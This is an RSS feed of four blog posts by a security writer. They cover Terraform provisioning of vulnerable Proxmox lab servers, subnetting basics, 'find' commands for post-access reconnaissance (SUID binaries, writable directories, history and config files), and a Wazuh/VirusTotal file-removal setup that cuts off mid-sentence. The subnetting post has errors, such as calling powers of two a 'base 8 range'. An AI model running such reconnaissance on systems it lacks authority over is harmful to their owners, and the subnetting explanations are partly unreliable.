<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Daniel Edwards on Medium]]></title>
        <description><![CDATA[Stories by Daniel Edwards on Medium]]></description>
        <link>https://medium.com/@DatBoyBlu3?source=rss-a5d809917ed2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zMJKi5ygYkZb67GjPlzCKg.png</url>
            <title>Stories by Daniel Edwards on Medium</title>
            <link>https://medium.com/@DatBoyBlu3?source=rss-a5d809917ed2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 12:58:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@DatBoyBlu3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Provisioning Proxmox Virtual Machines with Terraform]]></title>
            <link>https://medium.com/@DatBoyBlu3/provisioning-proxmox-virtual-machines-with-terraform-d9e9c549f947?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9e9c549f947</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[terraform]]></category>
            <category><![CDATA[proxmox]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 11:02:29 GMT</pubDate>
            <atom:updated>2025-06-03T11:02:29.471Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*ChFPpW0_eElmGqlDJoMhmA.png" /></figure><p>For a while now I’ve been experimenting integrating Terraform, offensive security and cloud. However, because of cloud deployment costs, I’ve decided to give it a break and use Terraform with Proxmox for some projects. Today, we’ll be detailing how to use Terraform with Proxmox, setting up dependencies, requirements etc, as well as configuring vulnerable servers for multiple Proxmox machines. The code for the project can be found on my <a href="https://github.com/datboyblu3/ProxmoxTerraform/tree/main">GitHub page</a>.</p><h3>Requirements</h3><ul><li><a href="https://developer.hashicorp.com/terraform/install">Terraform</a> installed on Proxmox</li><li>VM template that Terraform will use to build our machines</li><li>Terraform user account</li><li>Role permissions for Terraform</li><li>API access to Proxmox with a user/token</li></ul><h4><strong>Machine Template</strong></h4><p>Be sure to already have an uploaded iso, converted to a template. If you don’t, upload your desired linux distro iso , right click and select “convert to template”, as depicted in the second image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Y8nlqwt9KNMhWtGHQmzJg.png" /><figcaption>Ensure to select the template!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNP8V55LtxHVSRnVKIeMnA.png" /></figure><h4>Create a Terraform User Account</h4><p>It’s best to separate your use case accounts to have more control over your server configuration. Essentially, we’re creating a service account.</p><blockquote>A service account is a special type of account used by applications, systems, or services rather than a human user. It provides an identity for non-human entities to access resources and perform actions, often requiring minimal human intervention. Service accounts are distinct from user accounts, which are assigned to individual people</blockquote><p>Highlight “Datacenter” at the top -&gt; select “Users” under the Permissions dropdown. Next, hit Add and enter the User name “terraform”, leave everything else blank and leave the default realm. We’ll create the group later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpgiCn2tJUYRD3FCg7B-zA.png" /></figure><h4>Select Role Permissions</h4><p>Next we need to select the permissions that will allow Terraform to interact with the Proxmox server. These are the following role permissions to configure:</p><ul><li>Datastore.AllocateSpace</li><li>Datastore.Audit Pool.Allocate</li><li>SDN.Use</li><li>Sys.Audit</li><li>Sys.Console</li><li>Sys.Modify</li><li>Sys.PowerMgmt</li><li>VM.Allocate</li><li>VM.Audit</li><li>VM.Clone</li><li>VM.Config.CDROM</li><li>VM.Config.CPU</li><li>VM.Config.Cloudinit</li><li>VM.Config.Disk</li><li>VM.Config.HWType</li><li>VM.Config.Memory</li><li>VM.Config.Network</li><li>VM.Config.Options</li><li>VM.Migrate</li><li>VM.Monitor</li><li>VM.PowerMgmt</li></ul><p>Again, select ‘Datacenter’ and the configurations will be located under Permissions -&gt; Roles. Follow the screenshot. Select each role, no need to hold shift or ctrl/control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPWwOcFe3kSGNOcOmsyJ0w.png" /></figure><h4>Group Permissions</h4><p>We’ve created the terraform account and have assigned it’s role permissions. Now we must create a group to contain those rights. Once more, ensure ‘Datacenter’ is selected, Permissions -&gt; Groups and create the “terraform” group. Next, we will add group permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0ls78tGHHVgzKqEUM4yGw.png" /></figure><p>Select the Permissions tab, Add -&gt; Group Permission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6JEirNy40n89bwlhA1wrjw.png" /></figure><p>Select the root directory “/”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fg0NjjlA4SsLtTOJ0ogRfQ.png" /></figure><p>For the “Group”, select terraform:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHZ8hr4y1w_Pj84oKCV-DQ.png" /></figure><p>For the “Role”, select TerraformProvision.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xihDCGAbZ7TnMuvqJZg5AA.png" /></figure><h4>Add User to Terraform Group</h4><p>With the roles select and assigned to the group, the last step is to assign the service account, “terraform”, to the group “terraform”. Navigate to the User tab under Permissions -&gt; select “terraform” user -&gt; Edit. And for the group, select “terraform”. Whether or not you want the service account to expire, is up to you, however, I would recommend it a period of 7 days. All done and select Ok.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eHv5VFL2t67OceiQxhJj4A.png" /></figure><h4>Create API Token</h4><p>Choose whatever name for you the Token ID. Uncheck “Privilege Separation”. When you hit “Add”, the Token secret will display. Safely/securely record it before you close the window, because it will not be shown to you again. I already created one, this one will be deleted when I’m done writing this article and before it is published.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VJuy5YuGR55Et9390jkeUg.png" /><figcaption>Adding the Token ID</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pW3ACZQNAksyqkvKVovFlg.png" /><figcaption>Token Secret Generation</figcaption></figure><blockquote>API tokens (like <a href="https://www.google.com/search?cs=1&amp;sca_esv=6a56b0b0bedd11b7&amp;sxsrf=AE3TifPMfR2S4eGfVbHenLmjJdygvnKsJg%3A1748808593716&amp;q=API+keys&amp;sa=X&amp;ved=2ahUKEwi80ezXg9GNAxWoKlkFHc08DkMQxccNegQIAhAB&amp;mstk=AUtExfDo8FMiyKq-eE0a0ZUoukSdJizELzV44cs7qY7Z5RwLFMRQFTl8jF6ad7h8rIVYH19D9foQerhHpuUfzUPcJjhoy9VpQmD0XxXaO-ABg5c720ujl1YrzyleIlOxPYTtwxfSbuigYUHNF8qVP89ENI-W5RoNEvR-xoW16VU_TS1fq6E&amp;csui=3">API keys</a>, <a href="https://www.google.com/search?cs=1&amp;sca_esv=6a56b0b0bedd11b7&amp;sxsrf=AE3TifPMfR2S4eGfVbHenLmjJdygvnKsJg%3A1748808593716&amp;q=access+tokens&amp;sa=X&amp;ved=2ahUKEwi80ezXg9GNAxWoKlkFHc08DkMQxccNegQIAhAC&amp;mstk=AUtExfDo8FMiyKq-eE0a0ZUoukSdJizELzV44cs7qY7Z5RwLFMRQFTl8jF6ad7h8rIVYH19D9foQerhHpuUfzUPcJjhoy9VpQmD0XxXaO-ABg5c720ujl1YrzyleIlOxPYTtwxfSbuigYUHNF8qVP89ENI-W5RoNEvR-xoW16VU_TS1fq6E&amp;csui=3">access tokens</a>, or <a href="https://www.google.com/search?cs=1&amp;sca_esv=6a56b0b0bedd11b7&amp;sxsrf=AE3TifPMfR2S4eGfVbHenLmjJdygvnKsJg%3A1748808593716&amp;q=bearer+tokens&amp;sa=X&amp;ved=2ahUKEwi80ezXg9GNAxWoKlkFHc08DkMQxccNegQIAhAD&amp;mstk=AUtExfDo8FMiyKq-eE0a0ZUoukSdJizELzV44cs7qY7Z5RwLFMRQFTl8jF6ad7h8rIVYH19D9foQerhHpuUfzUPcJjhoy9VpQmD0XxXaO-ABg5c720ujl1YrzyleIlOxPYTtwxfSbuigYUHNF8qVP89ENI-W5RoNEvR-xoW16VU_TS1fq6E&amp;csui=3">bearer tokens</a>) are generally preferred over passwords for API authentication due to their enhanced security, ease of management, and flexibility. Tokens offer better security than passwords because they can be easily revoked or expired without affecting the user’s primary account, and they are often more difficult to guess or brute-force than passwords.</blockquote><p>And that’s it! We’ve configured our Terraform resources to integrate with Proxmox! The next step is to write some code to provision our machines, execute it and watch the magic happen!</p><h3>Terraform Code: Provisioning three machines with Ansible</h3><p>Starting with the local variables, these variables contain the name values of the artifacts within the pve node. The first variable, “network_bridge”, holds the value of vmbr0. In the Proxmox window to the right, under Network, you will see vmbr0 is one of the enabled Linux bridges. The image is “ubuntu-temp”, storage is “local-lvm”, target_node is “pve”. Replace the values with the names of within your Proxmox instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0LItTExrKhZPSoHk_N25A.png" /></figure><p>The locals block contains a list of the target servers to deploy: target-1 “nginx”, target-2 “wordpress” and target-3 “smb”. Each of them will be an ubuntu-server based off of the “ubuntu-temp” template mentioned above.</p><p>Next up is the resource block “vm-instance”. This proxmox_vm_qemu resource will loop over each item in the target_servers list, via the for_each loop. Within this loop, we will set the configurations for the wordpress, nginx and the smb server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*WdDd-KsmGZFFdmXXBy_arw.png" /></figure><p>That’s all for now! In the second part of this series I will configure each server with their respective service via Ansible, until then, stay tuned and have a good one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9e9c549f947" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The What, Why, When and How to Subnet]]></title>
            <link>https://medium.com/@DatBoyBlu3/the-what-why-when-and-how-to-subnet-9314ca79050f?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9314ca79050f</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[subnetting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[subnet]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Sat, 01 Feb 2025 04:50:45 GMT</pubDate>
            <atom:updated>2025-02-01T04:50:45.098Z</atom:updated>
            <content:encoded><![CDATA[<h3>The What</h3><p>In Cybersecurity you’ll often hear the term “subnet” (and hopefully not shudder in fear like I used to), but what is it exactly? Whether you’re watching a tutorial on the latest tools, conducting an offensive engagement, researching the TTPs of an APT group or simply learning about different network components, you’re bound to come across subnetting and it’s crucial role in networking. Simply put, it’s a technique to carve out a piece of a larger network to create you’re own sub-network(s)! So let’s begin!</p><h3>The Why</h3><p>“Ok, Dan, that’s awesome, but what advantage does subnetting give me”? Well, a few actually. It offers an additional layer of security by segmenting your network. Example, your business has an accounting department and an Sales department. It is poor business practice for systems in the accounting department to be able to communicate with systems in the Sales department without some boundary and/or intermediary. This is where subnetting comes in handy. The image below demonstrates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJEIFLEvVK9du90QZomOZg.jpeg" /></figure><p>Initially all the machines were on the same subnet, but divvying up your IP addresses allows for proper segmentation and quarantining in the advent of an attack.</p><h3>The When</h3><p>When should you subnet? If you need to improve network segmentation and/or organization, want to de-clutter you network traffic, optimize performance, efficiently use IP addresses, simplify network management, implement VLANS and facilitate scalability.</p><blockquote>Each class has a limited number of host allocations; for example, networks with more than 254 devices need a Class B allocation. If a network administrator is working with a Class B or C network and needs to allocate 150 hosts for three physical networks located in three different cities, they would need to either request more address blocks for each network — or divide a network into subnets that enable administrators to use one block of addresses on multiple physical networks.</blockquote><h3>The How</h3><p>Each IP address is made up of two essential items: The <strong>network portion</strong> and the <strong>host portion</strong>. Think of it like a neighborhood that has multiple apartments buildings. As you know apartment buildings are demarked by a number or letter. Each building contains X amount of homes identified by an apartment number on the front door. When you tell your friend where you live, you’ll say “I live in apartment A2”, with “A” being the building identifier and “2” being the specific door to your home. This is how the network and host portion of an IP address are identified and joined. The building ID “A” is the network portion of the IP address and the door number, “2” is the host portion. The figure below illustrates this example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOmJ2Khn2HhzUqD5UFPhUg.jpeg" /><figcaption>Each of the lettered octets represents the network portion of that IP address, i.e, where it lives. The last octet represents the host portion (subnet mask) that uniquely identifies the IP on that network.</figcaption></figure><h3>Class of IPs</h3><p>If no custom subnetting is specified, the subnet mask is derived from the <strong>class</strong> of the IP address. The <strong>Subnet Mask</strong> defines where the <strong>network portion</strong> ends (1s) and the <strong>host portion</strong> begins (0s).</p><blockquote><strong>Class A:</strong></blockquote><blockquote>IP Range: 0.0.0.0 to 127.255.255.255</blockquote><blockquote>Default Subnet Mask: 255.0.0.0</blockquote><blockquote>Example: 10.0.0.1 -&gt; 255.0.0.0</blockquote><blockquote><strong>Class B:</strong></blockquote><blockquote>IP Range: 128.0.0.0 to 191.255.255.255</blockquote><blockquote>Default Subnet Mask: 255.255.0.0</blockquote><blockquote>Example: 172.16.0.1 -&gt; 255.255.0.0</blockquote><blockquote><strong>Class C:</strong></blockquote><blockquote>IP Range: 192.0.0.0 to 223.255.255.255</blockquote><blockquote>Default Subnet Mask: 255.255.255.0</blockquote><blockquote>Example: 192.168.1.12 -&gt; 255.255.255.0</blockquote><p>Here we have a standard IP address, specifically, Class C address of 192.168.1.12. Let’s breakdown this IP down:</p><ul><li>Each of the four octets (8 bits) represents a number from 0 to 255</li><li>The subnet mask can be derived from the class of IP. Since this IP falls within the Class C range, the default subnet mask is 255.255.255.0</li><li>In the subnet mask, the bits set to 1 indicate the <strong>network portion</strong>, while the bits set to 0 indicate the <strong>host portion</strong>.</li><li>Those bits are comprised of 1s and 0s, hence IP addresses are made up of binary numbers.</li><li>The range <strong>128, 64, 32, 16, 8, 4, 2, 1</strong> are the bases of all IPs with <strong>0 to 255</strong> being used as the subnet mask (more on this later).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChCuEiju3OoRMIrZxqNYPg.jpeg" /></figure><p>Pay close attention to the placement of the 1s in each octet. They align with the position of each factor in the base 8 range that make up the total sum of the octet! Still don’t understand? No worries, check out the table below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6WD6CH42AXCeP0Vj9YZRvw.jpeg" /><figcaption>To get 192, simply add 128 + 64 and so forth. You only need to add the next whole number.</figcaption></figure><blockquote>*<strong><em>Remember</em></strong>: The 1s represent the network portion and the 0s represent the host portion. Since we are not given the explicit CIDR notation, we assume the default CIDR is /24 or 255.255.255.0 for the subnet mask. This means that the octet “12” is the host portion of the IP address and “192.168.1” is the network portion. To calculate the subnet mask from the CIDR, write the number of network bits as 1s and the host bits as 0s.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5F5cDFOq9EOnd0m6aRAIg.jpeg" /></figure><p>But what if the CIDR notation was /25, what would the subnet mask be? It would be 255.255.255.<strong>128</strong>. Remember, this is because of the base 8 range: <strong>128, 64, 32, 16, 8, 4, 2, 1</strong>. Simply add up or “turn on” (remember in binary, 1 = on, 0 = off) the network bits to obtain /25.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37geekKvCBdrX-hXZX1n3Q.jpeg" /></figure><p>Now it’s time to do some actual subnetting. Using the same IP, 192.168.1.12, how many hosts can we generate from this IP?</p><h4><strong>Number of Usable Hosts</strong></h4><p>Given the equation, <strong>2^n — 2</strong>, where n is the number of host bits, counting the zeros, we have 7, so the equation is 2⁷- 2 = 126. We can allocate 126 hosts from 192.168.1.12. We subtract 2 to reserve two IPs for the gateway and broadcast addresses.</p><h4><strong>Number of Subnets</strong></h4><p>How many of those are usable subnets? <strong>2^y</strong>, where y is the number of bits borrowed, count all the 1s — there’s only 1, so the equation is 2¹ = 2 subnets.</p><p>After all is said and done, we have two usable host ranges: 192.168.1.1–192.168.1.126 and 192.168.1.129–192.168.1.254, with 126 hosts in each subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fiOmOxTUD8nhRUcxf8Jnw.jpeg" /></figure><p>I hope this article has help you understand this topic a little better. Please don’t let it discourage, keep on pushing forward! Let me know if this has helped you and if there’s a better way to convey this topic, I’m all ears! Until next time folks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9314ca79050f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[‘find’ command for Recon]]></title>
            <link>https://medium.com/@DatBoyBlu3/find-command-for-recon-4f3cf296c5d5?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f3cf296c5d5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[unix]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Tue, 10 Sep 2024 15:24:17 GMT</pubDate>
            <atom:updated>2024-09-10T15:24:17.293Z</atom:updated>
            <content:encoded><![CDATA[<p>There are a plethora of reconnaissance tools that can enumerate a system for all it’s secrets. However, as you’re progressing through your career, you should always be weary of relying solely on automation and it’s affects eroding your skills. Utilizing the native tools and commands in Linux allows you to become deeply intimate with the system; become fluent in it’s language and it will reveal all it’s secrets in due. Today I will share with you the find techniques I use to perform reconnaissance and enumeration</p><h4>Files with 777 Permissions</h4><pre>find / -type f -perm 0777</pre><p>This command will find <strong>all</strong> files with read, write and execute permissions on the system. If you want to scope it to just your directory, change to the below</p><pre>find /home/your_username -type f -perm 0777</pre><h4>Find executable files</h4><pre>find / -perm a=x</pre><p>Similar to the first command except I’m searching for files that only have executable permissions set. This is useful for when you want to find files that are owned by root but have granted executable permission for a user</p><h4>Find files modified in the last 10 days</h4><pre>find / -mtime 10</pre><h4>Find files accessed in the last 10 days</h4><pre>find / -atime 10</pre><h4>Find files changed in the last 60 minutes</h4><pre>find / -cmin -60</pre><h4>Find files recently changed in the last 10 minutes</h4><pre>find . -type f -mmin -10</pre><h4>Find files of a particular size in MB</h4><pre>find / -size 50M</pre><h4>Folders and files that can be written to or executed from</h4><pre>find / -writable -type d 2&gt;/dev/null</pre><pre>find / -perm -222 -type d 2&gt;/dev/null</pre><pre>find / -perm -o w -type d 2&gt;/dev/null</pre><p>Does the same as above, but also cleans up the output with cut and sort</p><pre>find / -writable -type d 2&gt;/dev/null | cut -d &quot;/&quot; -f 2 | sort -u</pre><h4>Find world executable folders</h4><pre>find / -perm -o x -type d 2&gt;/dev/null</pre><h4>Find files with the SUID or GUID bit set</h4><pre>find / -type f -perm -04000 -ls 2&gt;/dev/null</pre><p>If you want to search for the SUID and GUID bit separetly…the below searches for the SUID</p><pre>find / -user root -perm -4000 -exec ls -ldb {} \; 2&gt;/dev/null</pre><p>This searches for the SETGUID</p><pre>find / -user root -perm -6000 -exec ls -ldb {} \; 2&gt;/dev/null</pre><h4>Find and delete empty directories in my current directory</h4><pre>find . -type d -empty -exec rmdir -v {} +</pre><p>I use these when cleaning up after an engagement. I may have created a directory I completely forgot about so I’ll just blow it all away.</p><h4><strong>Find logs that haven’t been modified in more than a month</strong></h4><pre>find /var/log -iname &quot;*~&quot; -o -iname &quot;*log*&quot; -mtime +30</pre><p>Similar to the above, to find logs that have been modified in the last week use the ‘-’ conditional</p><pre>find /var/log -iname &quot;*~&quot; -o -iname &quot;*log*&quot; -mtime -7</pre><h4>Find by content</h4><pre>find / -name &quot;*txt&quot; -exec grep -Hi phrase_to_be_searched {} \;</pre><p>This searches for files with “txt” extension and greps the content. The “H” signifies the file name, while the “i” tells to ignore case</p><h4>Find system processes</h4><pre>find /proc -name cmdline -exec cat {} \; 2&gt;/dev/null | tr &quot; &quot; &quot;\n&quot;</pre><h4>Display the contents of the “flag” (whatever that flag may be)</h4><pre>find / -type f -name flag.txt -exec cat {} \; 2&gt;/dev/null</pre><p>If you know the name of the file, but can’t find it. Use this to do a system wide search. But be careful, this can potentially kill your screen if the name is a commonly named file.</p><h4>Find history files</h4><pre>https://academy.hackthebox.com/module/51/section/1777#:~:text=find%20/%20%2Dtype%20f%20%5C(%20%2Dname%20*_hist%20%2Do%20%2Dname%20*_history%20%5C)%20%2Dexec%20ls%20%2Dl%20%7B%7D%20%5C%3B%202%3E/dev/null</pre><h4>Find configuration Files</h4><pre>find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2&gt;/dev/null</pre><h4>Find configuration files NOT in the proc directory</h4><pre>find / ! -path &quot;*/proc/*&quot; -iname &quot;*config*&quot; -type f 2&gt;/dev/null</pre><h4>Find scripts</h4><pre>find / -type f -name &quot;*.sh&quot; 2&gt;/dev/null | grep -v &quot;src\|snap\|share&quot;</pre><h4>View all hidden files</h4><pre>find / -type f -name &quot;.*&quot; -exec ls -l {} \; 2&gt;/dev/null | grep danny</pre><h4>View all hidden directories</h4><pre>find / -type d -name &quot;.*&quot; -ls 2&gt;/dev/null</pre><p>That’s all for now, until next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f3cf296c5d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Blue Teaming with Wazuh Pt 3: Detecing and Removing ThrVirusTotal Integration]]></title>
            <link>https://medium.com/@DatBoyBlu3/blue-teaming-with-wazuh-pt-3-detecing-and-removing-thrvirustotal-integration-e0046c93bc28?source=rss-a5d809917ed2------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0046c93bc28</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Daniel Edwards]]></dc:creator>
            <pubDate>Fri, 29 Dec 2023 16:37:53 GMT</pubDate>
            <atom:updated>2025-07-15T19:21:14.015Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Blue Teaming with Wazuh Pt 3: Detecting and Removing Threats with Virus Total Integration</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uTvam36j_T2g5PoHEsFRw.png" /></figure><p>Wazuh’s File Integrity Monitoring module allows us to connect to the Virus Total API, using it to scan files in our directories and monitor &amp; alert for changes. When active response is enabled, the files can be automatically removed when VirusTotal’s rules are triggered<strong>.</strong></p><p><strong>Requirements:</strong></p><ul><li>VirusTotal API Key</li><li>Attacker Machine</li><li>Victim Machine(s)</li><li>Wazuh Agents on each machine</li><li>jq, to handle JSON and/or JS files</li><li>A script to delete the malicious file</li><li>Malware samples</li></ul><h4><strong>Prepare the Ossec.conf Agent on Ubuntu Target</strong></h4><p>Configure the appropriate settings to ensure Wazuh is monitoring our intended directory. On each victim machine, edit the ossec.conf file (this is Wazuh’s agent)</p><ol><li><strong>Installing jq:</strong></li></ol><pre>sudo apt update<br>sudo apt -y install jq</pre><p><strong>2. In /var/ossec/etc/ossec.conf search for the field &lt;syscheck&gt; and set &lt;disabled&gt; to no.</strong></p><p><strong>3. Place your intended directory, e.g. Downloads, under the File Integrity Monitoring section:</strong></p><pre>&lt;directories realtime=&quot;yes&quot;&gt;/home/user/Downloads&lt;/directories&gt;</pre><p><strong>4. Create a bash script to remove the suspect file</strong></p><pre>#!/bin/bash<br><br>LOCAL=`dirname $0`;<br>cd $LOCAL<br>cd ../<br><br>PWD=`pwd`<br><br>read INPUT_JSON<br>FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.data.virustotal.source.file)<br>COMMAND=$(echo $INPUT_JSON | jq -r .command)<br>LOG_FILE=&quot;${PWD}/../logs/active-responses.log&quot;<br><br>#------------------------ Analyze command -------------------------#<br>if [ ${COMMAND} = &quot;add&quot; ]<br>then<br> # Send control message to execd<br> printf &#39;{&quot;version&quot;:1,&quot;origin&quot;:{&quot;name&quot;:&quot;remove-threat&quot;,&quot;module&quot;:&quot;active-response&quot;},&quot;command&quot;:&quot;check_keys&quot;, &quot;parameters&quot;:{&quot;keys&quot;:[]}}\n&#39;<br><br> read RESPONSE<br> COMMAND2=$(echo $RESPONSE | jq -r .command)<br> if [ ${COMMAND2} != &quot;continue&quot; ]<br> then<br>  echo &quot;`date &#39;+%Y/%m/%d %H:%M:%S&#39;` $0: $INPUT_JSON Remove threat active response aborted&quot; &gt;&gt; ${LOG_FILE}<br>  exit 0;<br> fi<br>fi<br><br># Removing file<br>rm -f $FILENAME<br>if [ $? -eq 0 ]; then<br> echo &quot;`date &#39;+%Y/%m/%d %H:%M:%S&#39;` $0: $INPUT_JSON Successfully removed threat&quot; &gt;&gt; ${LOG_FILE}<br>else<br> echo &quot;`date &#39;+%Y/%m/%d %H:%M:%S&#39;` $0: $INPUT_JSON Error removing threat&quot; &gt;&gt; ${LOG_FILE}<br>fi<br><br>exit 0;</pre><p><strong>5. Change the file and ownership on the newely created script</strong></p><pre>sudo chmod 750 /var/ossec/active-response/bin/remove-threat.sh; sudo chown root:wazuh /var/ossec/active-response/bin/remove-threat.sh</pre><p><strong>6. Apply the changes by restarting the Wazuh manager.</strong></p><pre>sudo systemctl restart wazuh-agent</pre><h4><strong>Wazuh Server Configuration</strong></h4><p>The Ubuntu endpoint is now appropriately configured, unto the Wazuh server. These changes are to allow alerts in near real time, active response will be triggered when a suspect file is detected. The files we’ll be editing:</p><ul><li>ossec.conf</li><li>local_rules.xml</li><li>remove-threat.sh</li></ul><p>Edit the /var/ossec/etc/rules/local_rules.xml file to include the rules in the following file:</p><pre>&lt;group name=&quot;syscheck,pci_dss_11.5,nist_800_53_SI.7,&quot;&gt;<br>    &lt;!-- Rules for Linux systems --&gt;<br>    &lt;rule id=&quot;100200&quot; level=&quot;7&quot;&gt;<br>        &lt;if_sid&gt;550&lt;/if_sid&gt;<br>        &lt;field name=&quot;file&quot;&gt;/home/dan/Downloads&lt;/field&gt;<br>        &lt;description&gt;File modified in /dan/Downloads directory.&lt;/description&gt;<br>    &lt;/rule&gt;<br>    &lt;rule id=&quot;100201&quot; level=&quot;7&quot;&gt;<br>        &lt;if_sid&gt;554&lt;/if_sid&gt;<br>        &lt;field name=&quot;file&quot;&gt;home/dan/Downloads&lt;/field&gt;<br>        &lt;description&gt;File added to /dan/Downloads directory.&lt;/description&gt;<br>    &lt;/rule&gt;<br>&lt;/group&gt;</pre><blockquote>Remember to change your directory path!</blockquote><p>Enable the VirusTotal Integration by editing the /var/ossec/etc/ossec.conf file. Be sure to replace &lt;YOUR_VIRUS_TOTAL_API_KEY&gt; with your <a href="https://developers.virustotal.com/reference">VirusTotal API key</a>. When the rule_ids 100200 and 100201 are triggered VirtusTotal will execute it’s queries.</p><pre>&lt;ossec_config&gt;<br>  &lt;integration&gt;<br>    &lt;name&gt;virustotal&lt;/name&gt;<br>    &lt;api_key&gt;&lt;YOUR_VIRUS_TOTAL_API_KEY&gt;&lt;/api_key&gt; &lt;!-- Replace with your VirusTotal API key --&gt;<br>    &lt;rule_id&gt;100200,100201&lt;/rule_id&gt;<br>    &lt;alert_format&gt;json&lt;/alert_format&gt;<br>  &lt;/integration&gt;<br>&lt;/ossec_config&gt;</pre><p>Enable active reponse to execute the remove-threat.sh file. This rule will trigger whenever VirusTotal marks a flag as malicious. Make the following edits to /var/ossec/etc/ossec.conf:</p><pre>&lt;ossec_config&gt;<br>  &lt;command&gt;<br>    &lt;name&gt;remove-threat&lt;/name&gt;<br>    &lt;executable&gt;remove-threat.sh&lt;/executable&gt;<br>    &lt;timeout_allowed&gt;no&lt;/timeout_allowed&gt;<br>  &lt;/command&gt;<br><br>  &lt;active-response&gt;<br>    &lt;disabled&gt;no&lt;/disabled&gt;<br>    &lt;command&gt;remove-threat&lt;/command&gt;<br>    &lt;location&gt;local&lt;/location&gt;<br>    &lt;rules_id&gt;87105&lt;/rules_id&gt;<br>  &lt;/active-response&gt;<br>&lt;/ossec_config&gt;</pre><p>Add the following rules to /var/ossec/etc/rules/local_rules.xml to ensure Wazuh receives the alert about the results from active response:</p><pre>&lt;group name=&quot;virustotal,&quot;&gt;<br>  &lt;rule id=&quot;100092&quot; level=&quot;12&quot;&gt;<br>    &lt;if_sid&gt;657&lt;/if_sid&gt;<br>    &lt;match&gt;Successfully removed threat&lt;/match&gt;<br>    &lt;description&gt;$(parameters.program) removed threat located at $(parameters.alert.data.virustotal.source.file)&lt;/description&gt;<br>  &lt;/rule&gt;<br><br>  &lt;rule id=&quot;100093&quot; level=&quot;12&quot;&gt;<br>    &lt;if_sid&gt;657&lt;/if_sid&gt;<br>    &lt;match&gt;Error removing threat&lt;/match&gt;<br>    &lt;description&gt;Error removing threat located at $(parameters.alert.data.virustotal.source.file)&lt;/description&gt;<br>  &lt;/rule&gt;<br>&lt;/group&gt;</pre><p>Restart the server</p><pre>sudo systemctl restart wazuh-manager</pre><blockquote><strong>HINT:</strong> If Wazuh gives you the following error message: “Job for wazuh-manager.service failed because the control process exited with error code. journalctl -xeu wazuh-manager service” ….</blockquote><blockquote>verify 